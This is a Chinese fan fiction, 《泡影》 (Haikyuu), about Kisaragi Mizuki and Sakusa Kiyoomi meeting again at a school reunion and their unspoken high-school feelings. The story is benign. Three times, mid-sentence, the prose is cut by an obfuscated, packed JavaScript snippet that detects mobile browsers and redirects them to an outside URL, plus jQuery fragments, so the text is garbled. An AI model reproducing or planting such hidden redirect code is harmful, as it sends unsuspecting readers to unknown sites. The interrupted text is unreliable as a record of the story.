《泡影》 1. 第 1 章 “假如明天世界就要终结,你想做什么?” “诶?……其实我也不太清楚,那你呢,佐久早君,你的话想做什么呢?” 两个人围着一张桌子,窗外是春日的阳光和微风。 瑞树到现在都记得自己问出这个问题之后,佐久早侧向窗外的目光。 “跟一个人告白。” 即便有日光涌进也依旧是黑漆漆的,像放着珠宝的黑色丝绒软垫,柔软,但只属于某块宝石。 * 梅雨季节的东京就算不下雨空气中也有股湿漉漉的味道,街边花盆中开放的行灯夕颜在这样的的天气中也有些蔫巴。 瑞树今天难得提前下班了,下了电车之后慢悠悠的往住处走去。 挺拔的西装,整洁的公文包,是日本上班族的标配,瑞树看了看手表,打算先在附近找一家餐馆吃饭。 逢魔时刻夕阳还没有完全熄灭,浑黄的光包裹着的建筑物有些模糊。 瑞树从商业街路过,身边的霓虹灯一盏接一盏的亮起,与一家运动专卖店亮起的宣传屏擦肩而过时,这位高挑的青年难得停下了脚步。 店铺刚亮起的大屏上是一个让人有些熟悉的人,黑色的短卷发和两颗眉上痣,似乎数年如一日的眉眼带着浓墨重彩的韵味。 瑞树拿起手机拍了张照片,发给自己还在上高中的表妹,嘴角不自觉带上了笑意,他知道对方很喜欢这位叫做佐久早圣臣的排球选手。 收回手机,他站在那里又看了一会儿,专卖店里的服务员推开门微笑着询问要不要进来看看,瑞树抱歉的笑笑就转身离开了。 佐久早圣臣也是如月瑞树的高中时期的同班同学,但他们之间的关系很一般,大概是那种在走廊中遇到也只会点头问好的程度。 随便找了一家餐馆,瑞树点了一份定食,吸烟席有烟灰缸,在上餐前他抽了一根烟。 烟雾缭绕中他看到店里的电视机正在放着最近的排球比赛,只是其中的声音混着店内嘈杂的声音有些听不太清。 “叮咚一” 瑞树拿起手机,看到了屏幕上表妹的回信,她请求瑞树帮她在东京买一些佐久早的周边。 瑞树摘下眼镜,拒绝了对方,作为一个名副其实的社畜,如果有时间的话,他更想待在家里睡觉。 也许是到了饭点,附近又有两所大学,来这里吃饭的年轻人也不少,等瑞树的餐食端上来,餐馆里已经满座了。 年轻的男女彼此笑着,偶尔也有些视线落在瑞树的身上。 如月瑞树的脸长的很好,是那种一眼就能让人记住的长相,眉眼深邃,却并不锋利,温温柔柔的,越看越有韵味,脸上架着一副有些老气的黑框眼镜,到是跟他那张年轻的脸不甚相衬。 瑞树吃完结账就离开了,有想上来要联系方式的人也没抓住机会。 步行七分钟到家,刚到家就收到了一封邮件,那是一份井闼山同校聚会的邀请函。 算着时间,毕业也快六年了。 他有不少好朋友都是高中时期的同学,要是聚会的话,说不定也能见见。 聚会的时间安排在下周末的晚上,空闲时间里大概会去不少人。 瑞树编辑好邮件回复对方,告诉那边自己会准时去的。 放下手机,他去洗了个澡,然后将明天要穿的衣服熨烫好,睡觉前站在阳台吹着风,独自喝完了一罐啤酒。 高中啊…… 和佐久早那种精彩的高中生活也许不太一样,他的高中是相当平凡的。 有关系很好的朋友,有趣也不算太累的社团活动,唯一谈得上缺憾的,大概就是在高中没有谈过恋爱吧。 不过高中快毕业的那段时间他倒是过的相当消沉,但还算幸运的考上了自己心仪的大学。 只是这些早就随着风飘散了,即便努力回忆也想不起当时究竟是为了什么而消沉…… 瑞树趴在栏杆上,晃了晃手中空了的啤酒罐。 但有些烦恼就像是生长中的荆棘,即便想忽略,也总会在某个时刻突然意识到他们的存在。 夜晚的风带着湿气和冷意,吹的人头脑昏昏。 最近的梅雨天有些烦人,湿漉漉的感觉让人感觉浑身都没劲。 井闼山同校聚会这天,瑞树来到的时候两张熟悉的面孔立马就凑上来了。 “如月!” “北村、小池!” 两个青年围上了自己高中的好朋友,虽然他们私下都会联系,但平时见面的机会并不多。 “你小子,真是越来越帅气了啊!”北村笑嘻嘻地拍着瑞树的肩膀。 小池戴着眼镜,褪去内向的他看起来多了些许稳重,脸上也带着笑。 “别看北村还是这么一副不着调的样子,他现在可是要当爸爸了。” 瑞树被两人揽着,眼中带着震惊看向北村:“你要当爸爸了?结婚了?” “嘿嘿正在筹备,到时候你一定要来哦,还有小池!” “放心放心,一定会来的。” 大家彼此之间叙旧,原本略显凝滞的气氛很快就变活跃起来了,因为是同班同学,大家很轻易的就聊起了以前的事情。 他们班里最惹人注目的大概就是没来的佐久早了。 “佐久早啊……” “佐久早呐……” “真是不得了啊,我经常看到他的节目的,刚刚来的路上还看到了他的广告,现在粉丝特别多啊。” “谁说不是呢,不过那样的人物是不会来同学会的吧。” “如月不是和他关系很好吗?” 喝着果汁的瑞树突然被点到,满脸疑惑:“我?” “你们不是前后桌吗?而且佐久早会主动和你说话。” 瑞树无奈的笑了笑:“就只是前后桌而已,主动说话也不代表着关系好啊。” 被如月瑞树反驳的同学也不尴尬,笑哈哈的把这事给掀过去了,与佐久早相关的话题也只是饭桌上的一个小插曲。 不聊佐久早,话题自然而然就落到了瑞树身上,虽说没有佐久早圣臣那么风光,但如月瑞树年纪轻轻就在有名的跨国公司工作,前途也是一片光明。 只是现在和以前相比还是很不一样,变成大人的大家都变得更复杂了,有些话让瑞树觉得不太舒服。 “如月现在日子好起来了千万不要忘记我们啊!” “如月现在年薪多少?结婚了吗?” 北村和小池都注意到了瑞树的异常,心有灵犀的把围在瑞树身边的人挤开。 “好了好了,我们才是好兄弟吧,别想抢我的位置哦。” “北村你小子,别以为要当爸爸了就可以这么骄傲,快来喝酒!” 酒馆全部都包下了,就连这里的老板也是井闼山校友。 小池带着瑞树好不容易才挤出来,瑞树摸到了口袋里的烟,跟小池说了声,拿着烟灰缸就去了外面。 瑞树不经常抽烟,但是大学刚毕业那会他因为工作心力交瘁,身边也没有可以依靠的人,香烟就是那个时候染上的,只不过瘾不大,却又怎么都戒不掉,总感觉戒掉之后,灵魂就要维系不住了。 夜晚的风很凉,东京最近的天气不太好,屋檐下滴着水,从傍晚就开始酝酿的乌云此时终于下了起来。 猩红的火光在瑞树指尖若隐若现,他仰头看着身前淅淅沥沥的雨水,似在发呆,任由手中的烟缓缓燃烧。 此时,屋檐下走进另一个躲雨的人,瑞树的脚步朝着角落挪了挪,将烟灰缸放在花坛上。 那人收起雨伞,也看着面前的雨,眼角的余光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432983|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却若有若无的落到身边男人的身上。 瑞树察觉到了什么,转头看过去,却看到了一张熟悉的脸,有些惊讶。 “你好。”佐久早点点头说道。 如月瑞树连忙将手上的烟熄灭,用手掌扇了扇空气中的烟气,他记得佐久早不喜欢烟气这些异味的。 佐久早就那样盯着瑞树,眯了眯眼睛,表情里带着些许瑞树揣摩不透的意味。 “佐久早,好久不见,你是来参加同学聚会的吗?” 也许只是路过,瑞树这样想着。 “嗯。”佐久早没有反驳,缩了缩肩膀,似乎很担心从屋檐上滴落下的雨滴落在自己身上。 如月瑞树不知道接下来应该怎么跟他说话,又应该说些什么,他跟这位排球界的大明星隔了整整六年的时间,现在见面甚至有些无措。 “……如果你怕淋到的话,可以去屋子里。”瑞树指着亮着光的居酒屋。 佐久早摇了摇头:“我一会儿就离开。” “不进去看看大家吗?” “不了。” 瑞树不明白佐久早的心思,但他很安静,就那样站在一边,或许是在陪着佐久早,又或许是因为其他。 瑞树想,也许他只是路过,是因为自己那样问他才不好意思承认自己是来参加同学会的,又或者是因为他不喜欢这间狭小居酒屋的环境。 佐久早的洁癖并不是很严重,只是比平常人更爱干净一点,但他本身就带着闪光,关于爱干净这点特征也被放大了不少。 佐久早不说话,如月瑞树也不说话,两个人就这么静默的站在梅雨季东京的酒馆屋檐下,沉闷的像是两座互不干扰的雕像。 雨雾和香烟散掉的烟雾混在一起,一方沾上了杂质,一方被稀释了浓度。 “那个,佐久早,你真的不进去吗?”瑞树注意到他因雨水微微皱起的眉头,小心翼翼又问了一遍。 佐久早那双如黑曜石的眼睛在酒馆的暖光中散发着一股淡淡的金。 “不用了,之后会跟他们打个招呼的,用邮件。”佐久早说道。 如月瑞树继续陪着佐久早站在屋檐下,他感觉佐久早来这里应该不只是为了站在这里发呆吧。 他这样的明星球员,站在这里和自己发呆,怎么看都是自己赚了。 啊,干脆给表妹要张签名吧…… “你……” “你……” 两人一同开口,佐久早和瑞树都顿住了。 “你先说。”佐久早先开口说。 “能给我个签名吗?老家的表妹是你粉丝。”如月瑞树说。 “嗯。” 然后空气又是一阵寂静,如月瑞树想起刚刚佐久早似乎也有什么事想要说。 “佐久早,你刚刚想说什么?” 听到了瑞树的话佐久早只是看着他,然后摇了摇头:“没什么,我先走了。” 佐久早撑开伞,看样子是准备走了,但刚踏出一步就又转过了身,看向站在屋檐下的男人。 如月瑞树是一个看起来就很好相处的人,事实上他也确实是个很好相处的人,礼貌、温和……几乎没人讨厌他。 “签名,我下次给你。”说罢,佐久早圣臣撑着伞就离开了屋檐下,直至他的背影完全消失在雨中的街角。 如月瑞树说不好下次是什么时候,他和佐久早根本没有联系方式,看样子签名的事情只能暂时放下了。 拿起烟灰缸,瑞树拉开了身后酒馆的门,只是在进去的最后时候他又看了一眼那个方向,然后缓缓收回视线,半垂下的双眼之中带着浓浓的晦涩。 过去的事情就让他过去吧,曾经的某些心情也已经变成了曾经的故事,还是保持距离比较好。 不然,会给彼此带来困扰的。 2. 第 2 章 “告白?你有喜欢的人吗?” “嗯。” 窗外的阳光晃的人眼睛疼,瑞树觉得自己应该戴一副眼镜了。 关于他喜欢的人是谁……这个问题瑞树没有问出口,就连不甘心都只能压在心底的角落 * 佐久早圣臣回到住的地方他坐在玄关换鞋,看着鞋子上的泥点皱着眉发呆。 如月瑞树身上的变化佐久早一瞬间能说出不下二十处。 但如月瑞树就是如月瑞树,他的语调,笑容,神态……一如既往。 真讨厌。 佐久早看到他那副样子的时候,差点以为自己回到了高中时代。 鞋子放在一边,佐久早坐在下沉玄关旁的阶梯上,抱着自己的膝盖,眼中带着些许懊恼,然后拿出手机,点开邮箱,看着某个熟悉的邮箱地址,思考着下次应该怎样跟他联系…… 理由是给他签名,那能不能一起去吃个饭呢?或者,去散步?打排球? 佐久早在那里坐了许久,直至黑狼的助理给他打电话,告诉他从明天开始要进行集训。 集训…… 佐久早垂下眼睫,有些失落。 集训有时间限制,要好久才能出来。 另一边的如月瑞树在佐久早离开之后,在酒馆里稍稍喝了几杯,他看着杯子里兑了热水的烧酒。 这大概是佐久早尝不到的味道。 想到这里他笑了笑,只是看起来并不开心,然后仰头将杯子中的酒一饮而尽。 自从大学毕业进入公司之后他在酒量上还是很不错的,但酒精带来的不适感是无论如何也无法祛除的,就像是记忆里灰色的暗点。 回到家他给自己倒了杯水,勉强洗了澡换了衣服,顶着还在滴水的发丝倚靠在沙发上两眼空空。 越是下定决心想要避开的人,就越是可能出现在人生的某个时间段,然后让你想起过去的某些记忆。 高中时他也因为自己跟大名鼎鼎的排球部王牌成为前后桌而荣幸过,但那时的他们并不熟悉,也没什么交流。 瑞树不甚了解关于排球的事情,不过他很清楚,佐久早是个很了不得的人。 不管是天赋方面,还是努力程度方面,他都值得站在更高的地方。 有人说过佐久早看起来冷淡,甚至有些阴暗,但在瑞树开始注意他的时候,佐久早给他的印象就只有闪闪发光。 像宝石,像星星,有时候也像太阳,让人自惭形秽不敢直视。 瑞树曾因自己这份心情惴惴不安,现在想来原来那么早就开始动那种心思了…… 瑞树缓缓躺下,沙发勉强容纳一个成年男人半躺下,过了片刻,手边茶几上的手机响起,将其拿起看到了一个熟悉的备注。 “喂……” 瑞树坐起身,听到朋友的声音心中的思绪瞬间又躲到了难以触摸的内心深处。 北村要结婚了,再过多久就要做爸爸了,小池也已经有了交往中的女朋友,铁三角里单身的就只有瑞树了。 北村听到了瑞树的声音,先是简单寒暄了一下,然后问了一个问题。 “呐瑞树,今天佐久早来了的对吧。”北村的话让瑞树意外了那么一刹那,毕竟自己这位朋友是个神经大条的家伙。 “你怎么知道,明明他没进去。” “小池想给你送外套的时候看到的,他说你跟佐久早站在外面聊天。” 瑞树轻轻嗯了声,在酒精的作用下有些头疼。 “之前一直想问你来着,但我们一直不知道应该怎么开口……” “什么?” “瑞树,你和佐久早之间的关系是不是有些奇怪?” 北村的话让如月瑞树有些想笑,倒不是笑北村,而是笑他自己。 “我表现的有这么明显吗?” “超明显的!高三的时候你在他面前话变少了好多,视线也飘忽不定的,感觉没底气了许多……到现在也是,每次有人提起他,你的表情都会很奇怪……” “瑞树,你讨厌他吗?” 北村最后还是问出了自己想问的。 “并不讨厌……”或者说恰恰相反,如月瑞树惆怅的拢着自己杂乱的思绪,不知道自己应该怎样说出口。 “这样啊,如果有什么需要尽管跟我们说哦…今天感觉你的心情不是很好。” 瑞树笑了笑:“有困难的话我会说的。” 电话那头的人小声吐槽了什么,瑞树昏沉沉的没听清。 “你说什么?我没听清。”瑞树询问。 北村沉默了许久,像是在酝酿着,但你到最后也只是回了一句: “记得你说的,遇到困难要跟我们说,到底还是不是朋友……” 北村的话让瑞树沉默了片刻,等他反应过来之后才回应北村。 “嗯,我会的。。” “如果被我发现你又在因为一些乱七八糟的事情独自烦恼,你就别想成为我家小孩的干爹了!” “诶——?不对,我有同意过做你家小孩的干爹吗?” “你不愿意?”北村带着笑意的声音里透露隐隐的危机。 瑞树瞬间清醒:“我做!我不做谁做!” “算你识相。” 瑞树十分自然的将话题扯到自己这两位至交好友身上,他和北村从初中就认识,高中又是同班同学,后来又结识了小池,他们之间的关系说一句“铁三角”也不为过。 又跟北村聊了聊他要结婚的事情,没过多久电话就挂断了。 公寓里霎时间又安静了下来,像是有沉重的海水灌了进来一样。 将手机放到茶几上,瑞树闭上眼,重重的呼出一口气。 瑞树坐起身,安静的氛围让他忍不住多想,干脆打开电视机。 电视频道时常停留在体育频道,还没等电视机里的声音扬出来,瑞树瞬间就把电视重新关上了。 如月瑞树站起身,深呼吸。 “果然还是回去睡觉吧。” 第二天早上,生物钟把瑞树叫醒,他躺在床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432984|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁着眼睛看着天花板。 瑞树坐起身,下一刻却被放在床头的手机提示音打断了思绪。 今天是休息日,不可能是工作上的事情,也不可能是家里的人,或许是其他朋友。 瑞树拿起手机,邮箱里的新邮件来自一位陌生的联系人。 抱歉,最近有集训,签名的事情下次见面给你。 ——佐久早圣臣 瑞树眨了眨眼睛,片刻之后将手机合上。 不知道他从什么地方找到自己的联系方式的,真是不容易啊…… 瑞树彻底清醒的大脑不愿放任他继续躺在这里的,干脆爬了起来,然后快速的洗脸刷牙。 平静许久,他重新拿起手机,给佐久早回了一条信息。 好的,期待下次与你见面。 ——如月瑞树 只是刚发出去他就后悔了。 高挑的男人抱着自己的脑袋懊恼的在屋子里匆匆踱步,像是做了什么无法挽回的事情一样。 虽然那些期待什么的只是客套话,他也确实不是很期待,但总觉得从自己这样说会让对方觉得自己是真的很期待…… 瑞树皱了皱眉,歪着头看向被自己扔到地板上的手机。 麻烦的措辞,麻烦的邮件,还有麻烦的佐久早圣臣! 如果只是其他人的邮件,他必不可能这么纠结。 瑞树蹲到地板上,缓缓伸手用手指将手机勾了回来,看着发件箱里那条信息,眼中多了些神采。 * “臣臣,心情不好吗?”木兔光太郎伸出脑袋看着在旁边不说话的佐久早圣臣,阳光帅气的脸上带着毫不掩饰的好奇。 佐久早不想理会他,转身就走。 “臣臣,臣臣,心情不好吗?臣臣?” 木兔左右晃着脑袋,跟在佐久早圣臣的身后,跟着他的步伐毫不退缩。 佐久早被烦的停下脚步回头看向跟在自己身后的木兔光太郎:“没有!” 木兔眨了眨眼,看着转身离开的佐久早摸了摸下巴。 绝对有的,臣臣不开心了。 臣臣从很久以前就经常露出那样的表情,本以为是侑侑惹他生气了,但好像并不是…… 离开的佐久早转身去了健身房,换好衣服之后,照常热身,然后锻炼身体。 虽然他不会去羡慕别人的特点,但有时候他也会觉得自己要是有木兔一半的莽撞也好。 莽撞一点,在铁壁上砸出一个口子,就算两败俱伤也能留下点什么。 佐久早墨色的发丝因汗水黏在了额角,光打在他微微仰起的脸上,双眼轻轻闭上。 高中毕业的那天,自己准备告白的那天,如月瑞树在看到自己的时候转身就跑了。 他第一次发现那个人的体力居然这么好,他追了这么久都没有抓住他,像一股风。 明明能感受到,却怎么都抓不住,只能等着他来,然后再走,最后只留下他那被吹的凌乱的发丝。 混蛋……如月瑞树,混蛋! 3. 第 3 章 如月瑞树国中时是田径部的,膝盖上还留着那时的伤疤,虽说高中没有继续跑步,但最开始初中的教练说他的天赋是很不错的。 以前也曾被老师夸奖过的他在高中见过佐久早的排球之后,就放弃了跑步。 这并不是什么令人遗憾的事情,相反,如月瑞树很庆幸自己没有继续跑步。 他只是一个普通人,是父母眼中普通的孩子,是老师眼中普通的学生,他不是很有勇气的那种人,觉悟一般,努力一般,在高中刚开始的某天又意识到了自己那很一般的天赋…… 这是个令人悲伤的现实,但是在见到佐久早在网前跳起扣球的时候,他一丁点悲伤的心情都没有。 他柔软的手腕曲线,干净利落的起身,安静的神情都在展现着独属于佐久早圣臣的光芒。 明明发丝是黑色的,眼睛也是黑色的,但是却让瑞树觉得耀眼至极。 像是迎着阳光飞起的闪蝶,柔软、优美、闪闪发光。 也许比起自己得到光明的未来,他能希望佐久早能看到更光明的未来。 和佐久早成为前后桌是高三时的事情,在那之前他们只是同班同学,简单纯粹的关系,在此之前说过的话不超过十句。 三年级时候的瑞树还没有开始戴眼镜,他遗传了母亲的长相,眼角带着一股难以言喻的韵味,很讨人喜欢。 将桌子搬到佐久早前面的时候,瑞树在想自己要不要对佐久早自我介绍一下,毕竟他觉得对方应该不记得他。 “如月,你的书掉了。”佐久早皱着眉看了一眼掉在地上的书,抬眼看了他一眼。 “嗯,我这就捡起来。” 他知道自己的名字。如月瑞树挺高兴的。 后来他们也没什么交流,只是偶尔的给他递一下从前面传来的试卷,或者提醒一下因社团活动而缺席的他需要完成的作业,或者借给他自己的笔记。 他们的交流很简单,简简单单的度过了高中三年。 关于“假如明天世界就毁灭,你最想做些什么”的话题是来自一本流行小说。 那天放学后,瑞树回来落下的书包时看到了坐在座位上的佐久早圣臣,他望着窗外。 “佐久早君,不回去吗?”迎着窗外阳光走进来的瑞树拿起放在桌子上的书包,然后看向佐久早圣臣。 佐久早仰头看向站在桌子前方的如月瑞树,片刻之后移开了视线。 “正打算回去。” 如月看着他完全没有要站起身的就好奇的问他平时除了排球有什么爱好,也许是带着点别的心思,但佐久早并没有看出来。 “最近在读书。” “书?学习吗?” “小说。” 佐久早转过头看向瑞树,嘴巴张了张,片刻之后问了一个问题。 “如月的话,假如明天世界就要终结,你想做什么?” “诶?……其实我也不太清楚,那你呢,佐久早君,你的话想做什么呢?” 瑞树转过身,两个人围着一张桌子,窗外是春日的阳光和微风。 瑞树到现在都记得自己问出这个问题之后,佐久早再次侧向窗外的目光。 “跟一个人告白。” 那双眼睛,即便有日光涌进也依旧是黑漆漆的,像放着珠宝的黑色丝绒软垫,柔软,但只属于某块宝石。 看着他的侧脸,瑞树的嘴唇微不可查的颤着,最后却又变成了一个说不清意味的笑容。 “这样啊,佐久早君的话……做什么都会成功的。” 如月瑞树转过身,拿起书包就离开了,佐久早看着他,站起身看着他离开了教室。 西装式的校服跑起步来有些紧绷,不过此时此刻必须要跑起来才行。 在快毕业的时候,在那场单方面的逃跑中,如月瑞树察觉到了自己异于常人的地方。 正常人的崇拜是不可能变成爱慕的吧…… 从那之后到毕业典礼,瑞树一直表现的很正常,与坐在他身后的佐久早也一直是很正常的交流。 只是毕业那天,他隔着一条走廊看到了和女生说话的佐久早,不知道他们在说些什么。 瑞树猜测,那个女生是不是就是佐久早想要告白的人……看起来很可爱啊…… 然后佐久早微微侧过视线,看到了对面的瑞树,然后张了张嘴,似乎说了什么,然后就要朝着他走过来。 如月瑞树退后了一步,在看到他微微退后的身体时,佐久早的动作也顿了一瞬。 然后如月瑞树逃跑了。 他不知道身后有没有人追过来,甚至连回头都做不到,前方的视野变得幽暗,道路两侧也在开始不断的塌陷,最后留给他的只有一条如独木桥一般的道路…… 心脏很不舒服,手心里全都是汗水,脚步很沉重,但不得不往前走,可是前方又有什么呢…… 毕业典礼的那天黄昏,如月瑞树到了傍晚才回来,身上乱七八糟的,手里握着皱巴巴的毕业状。 母亲看到只是皱着眉训斥他又在鬼混,话语刚落下又像是意识到了自己的声音会吵到楼上练琴的哥哥,然后冷着视线让他快点收拾好,不要这样一副狼狈样子在家里乱晃。 瑞树第一次喜欢一个人,和在学校看到的那些情侣之间的带着愉悦的喜欢好像不太一样…… 那天晚上他没有下来吃饭,家里人也没有在意他。 后来他离开了东京,去了京都上大学。 父母带着哥哥去了国外读音乐学院,他在日本一个人做好了应该做好的所有事情。 然后大学毕业去工作,短短几年,他觉得自己应该变坚强了,至少远远看到佐久早不会再那样胆怯的逃跑了。 “啊,哥,你别总是逃跑啊!快上啊!” “沙绪里沙绪里,怪物追过来了,救救我!” 沙绪里是瑞树的表妹,母亲老家那边的远房亲戚,住在京都,读大学的时候认识了,虽说年纪差的比较大,但关系倒是很不错。 沙绪里跟爸爸来东京游玩,瑞树邀请他们住在自己家里,他这里倒是有空闲出来的房间,收拾出来倒是也不错。 沙绪里带来了游戏机,休息的时候带着他打起了游戏。 但瑞树是个游戏黑洞,两手端着游戏机手足无措的大叫着。 虽然早就知道了这位远房的哥哥是个胆小鬼,但是每次看到他这幅样子都觉得很丢人,明明看起来是个了不起的社会人诶。 屏幕上出现了游戏结束的字眼,看着已经死掉的角色,如月瑞树只以为没人发现的松了口气,而下一秒沙绪里就抬手朝着他后脑勺来了一巴掌。 “别给我松口气啊,这个时候应该不甘心才对吧!” “但是,好可怕啊,沙绪里又不来救我。”瑞树坐在地毯上小声说道。 “不要任何时候都想着有人来救你啊,要是你自己玩的话该怎么办?” “诶?我自己的话是不会玩游戏的哦。” 沙绪里一口郁气积压在胸口,眼中恨铁不成钢的怒火似乎下一秒就要喷涌而出了。 “瑞树,沙绪里,吃饭了呦。”因为瑞树为他们提供了住处,只要有时间,沙绪里的爸爸会负责每天的餐食。 沙绪里站起身跑到自己爸爸身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432985|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控诉着如月瑞树胆小鬼的行为,她真的想不明白这样的一个人怎么会成为妈妈口中的榜样呢。 老父亲看着女儿的样子叹了口气,只能安抚着她。 老老实实的吃完饭,今天是休息日,父女俩打算吃完午饭就出去玩,本想带着瑞树的,但瑞树并不想出门,沙绪里也在闹别扭。 送两人出门的时候,瑞树看到了沙绪里书包上挂着的排球挂坠,等他们的身影消失在视线里他才缓缓回过神。 回到家,他将明天要穿的西装拿出来熨烫好挂了起来,打扫了一遍卫生,然后坐在客厅里看着那个红蓝色的游戏机。 安静的屋子里不一会儿就出现了游戏音效,随之而来的是不知道多少次的死亡音效。 瑞树回过神时已经到了晚上,即便是到了晚上也依旧没有通关。 瑞树靠在沙发上,百无聊赖的盯着天花板,心里怎么想怎么不舒服。 沙绪里说的没错,不管是游戏还是人生,他都是个胆小鬼。 沙绪里和父亲晚上回来的时候给瑞树打包了好吃的,瑞树坐在餐桌前边吃边刷着社交媒体。 沙绪里看着他不知道怎么跟他搭话,中午的时候她的话好像有点过分了。 沙绪里拿起游戏机,继续打着自己的游戏,只是却碰巧看到了如月瑞树账号更新了最近的上线时间,还有游戏好友详情页面的死亡次数。 回过头,沙绪里看着饶有兴味刷着油管视频的瑞树。 瑞树抬起头也看到了正看着自己的沙绪里,歪了歪头。 “怎么了?” “没。……你的眼镜好老土。” “啊?” “快点吃啊,吃完了来打游戏,我保护你。” 看着转过头去的沙绪里,如月瑞树感叹着小孩子的坏心情来得快去得也快,可是在之后的游戏时间里,沙绪里沉默着把游戏机收了起来。 “我当初,到底是怎么动了要跟你一起打游戏的心思呢……” 瑞树坐在沙发上看着两眼空空朝房间走去的沙绪里,有些愧疚。 游戏打的这么垃圾还真是抱歉了呢,沙绪里酱…… 沙绪里和瑞树不一样,瑞树上面有个音乐天才哥哥,父母的重心平时都在哥哥那边,但沙绪里是独生女,就算不是独生女,她的爸爸妈妈也不是那种因为一个孩子的优秀就会忽略另一个孩子的人。 沙绪里从小到大就在父母的宠爱中健全的长大,她很自信,很勇敢,不管是什么都能做的很好,就是学习成绩不太好…… 瑞树的学习成绩很不错,大学也是名府,日本的大学生很多有需要自己承担生活费,瑞树父母给了他一笔钱,是大学几年的生活费,倒是让他多了很多时间。 他第一次知道纸头盔就是在大学的空闲时间里。 明明现在哪怕是幼儿园小屁孩都能折出来的纸质武士头盔瑞树却根本不知道,沙绪里感到震惊,但还是教了他,并且见证了他第一次将武士头盔戴在脑袋上。 邻居家的小儿子在三岁的时候就留下了戴着武士头盔cos伊达政宗的照片,而瑞士第一次却在二十岁这年第一次戴上了纸质的武士头盔,只不过…… 那时他的样子看起来很蠢。 其实瑞树很不正常,不管是沙绪里还是沙绪里的父母都能察觉到。 他很脆弱,但又很坚硬,像是非牛顿流体,一些柔软的东西会让他受伤,一些坚硬的东西却会被他抵抗。 “爸爸,他要是遇到喜欢的人怎么办?会主动告白么?” “嗯——可能会很辛苦吧,但是要相信他哦,毕竟是你哥哥。” 4. 第 4 章 黑狼的大家都很活泼,或者说活泼的过了头,有时候这种活泼也会被人认为是一种氛围污染,这里的人主要指佐久早圣臣。 因为这种污染直接否决了佐久早想安静存活的想法。 “嘿嘿嘿!再来一球!” 佐久早看着的木兔和日向,皱起了眉,指向墙壁上的电子时钟:“现在已经八点了。” “才八点而已,还有很长时间呢。” “是晚上八点,我要去休息了,你们要练的话就去找宫侑,不过我要提醒你们,明天上午需要早起。” 一提到宫侑木兔和日向的表情都有一瞬间的呆滞。 不想找宫侑的这种想法已经不知不觉在那两个笨蛋的脑子里蔓延开来了。 毕竟今天他们偷偷接受了有名的记者采访,宫侑却在闷在鼓里,现在正在生气中。 佐久早拿着挎包和毛巾去休息室换衣服,休息室里有他专用的洗衣机。 佐久早听着洗衣机的声音换上了自己的衣服,用毛巾擦了擦侧脸的汗水,然后拧开一瓶水一饮而尽。 宫侑又在闹别扭,但不用管他的话很快就好了,如果这个时候有人去哄他,他就一定会蹬鼻子上脸,然后摆出一副“我大发慈悲就原谅你们这些愚蠢人类”的样子…… 麻烦的要死。 当时BJ和AD都给他发来了邀请函,佐久早选择了黑狼,然后接下来就一直在这里。 这里的日子很难过,同期都是一个比一个难应付的人,但自己选择的路打碎牙齿往肚子里咽也不会放弃。 他会做好自己应该做的,无论是训练还是比赛,他不想做那种事后会后悔的事情,只是最近打排球的时候他有一种感觉…… 在球场上的时候,自己的灵魂被净化,手腕,四肢,躯干,呼吸都会变得很干净,每次出现这种情况时,他都会朝着看台望去。 只是那里空荡荡的,什么都没有。 “圣臣,你在看什么?”队长明暗修吾看到了会问他。 佐久早只是收回视线:“什么都没有。” 他在看什么都没有的看台。 高中的时候,如月会去看他的比赛,他会为自己的得分欢呼,虽然每次比赛结束他都会迅速离开。 他以为他是喜欢自己的,本以为自己可以告白,甚至有极大的可能会成为他的男朋友的…… 他想成为任何时候结束都不会感到后悔或者埋怨的人,但如果他的人生在此时此刻结束,那他一定不会幸福的。 不管是人生还是排球,他要的不是遗憾,不是惋惜,是尽善尽美,是就算戛然而止也要感到幸福。 如月瑞树,你做好准备接我的球吗? * “接待的事情安排的怎么样?” “已经安排好了,这里是他们的招待信息,酒店那边已经打好招呼了,不会出问题,接待专员都是我们的精英,语言也没有问题。” 瑞树点点头,将手中处理好的文件交给了部下:“这是最近的会议报表,针对最近的问题已经做好了解决方案,你拿给中村组长,让他们根据这些制定出详细的计划。” “是!” 日本的公司公司文化比较强调前后辈关系,平日里的办公,不管是上司还是下属都在一片区域,很多跨国公司了也没逃过这点。 但是如月瑞树有自己的办公室。 他在工作上很有才能,英语也很好,处理各种棘手的问题总能得心应手,给人的第一感觉就是安心。 瑞树很年轻,这么年轻的人能成为这么多人的上司,这件事情在日本简直就像是奇迹一样的事情,但是他就是这样做到了。 虽然那离不开公司企业文化的缘故,但他的能力就是很出众,不胆怯不退缩,就算是大客户的刁难也能面不改色的应对。 “果然啊,如月部长很让人安心啊。” 